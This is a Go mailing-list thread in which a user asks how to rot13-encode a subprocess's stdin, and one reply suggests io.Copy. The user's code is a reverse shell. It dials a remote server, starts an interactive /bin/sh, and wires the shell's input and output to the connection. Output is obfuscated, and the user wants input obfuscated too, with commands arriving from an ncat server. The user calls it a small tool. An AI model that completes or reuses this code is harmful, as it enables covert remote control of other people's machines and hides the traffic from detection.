Re: How to capture the bytes of stdin

[Tamás Gulácsi]

You have to io.Copy(cmdStdin, os.Stdin) to use your program's stdin, and pipe it to the subprocess.

hyo...@gmail.com a következőt írta (2021. augusztus 18., szerda, 17:50:24 UTC+2):

The goal: I want to capture all the bytes of cmd.Stdin and process them with this rot13 function: https://play.golang.org/p/VX2pwaIqhmT

The story: I'm coding a small tool which will be cross compiled for both win/ linux, so I'm trying to make it as simple as possible. This tool connects to the server from which I can execute commands on the client.

Since I had to do the same thing for cmd.Stdout, I used this:

Where OBFprocessStream function is based on this one: https://play.golang.org/p/j_TKZWuhGaK. Everything works fine here .

.......

conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)

......

cmd := exec.Command(/bin/sh, "-i") // please keep in mind that this is an ***interactive*** 

//***shell***, and not just a simple command           

cmd.Stdin = conn

cmdStdout, err := cmd.StdoutPipe() // works fine

    if err != nil {

    fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)

}

cmd.Stderr = conn

err = cmd.Start()

    if err != nil {

        fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)

    }

.....

err = OBFprocessStream(cmdStdout, conn) // works fine

....

So, I tried to replicate the same thing for cmd.Stdin:

.......

conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)

......

cmd := exec.Command(/bin/sh, "-i") 

cmdStdin, err := cmd.StdinPipe() 

    if err != nil {

    fmt.Fprintf(os.Stderr, "error creating shell stdin pipe: %s\n", err)

}

cmdStdout, err := cmd.StdoutPipe()

    if err != nil {

    fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)

}

cmd.Stderr = conn

err = cmd.Start()

    if err != nil {

        fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)

    }

.....

err = INOBFprocessStream(cmdStdin, conn)

.....

err = OBFprocessStream(cmdStdout, conn)

....

But.. cmdStdin is an Io.WriterCloser, and I don't really know what to do to capture the bytes sEGIHOsegoihszrhoiò

Can you please help me?

[hyogy hyogy]

Thanks for your suggestin!(: Can you make an example here? https://play.golang.org/

Just to make the big picture more clear, this is what I'm trying to achieve: 

shell sends bytes on stdout, stderr —> Go tool does rot13 encode —> socat does rot13 decode --> ncat server // this part is fine

ncat server —> socat does rot13 encode of the commands --> Go tool does rot13 decode of stdin —> Go tool sends data to shell via stdin // here is the problem with stdin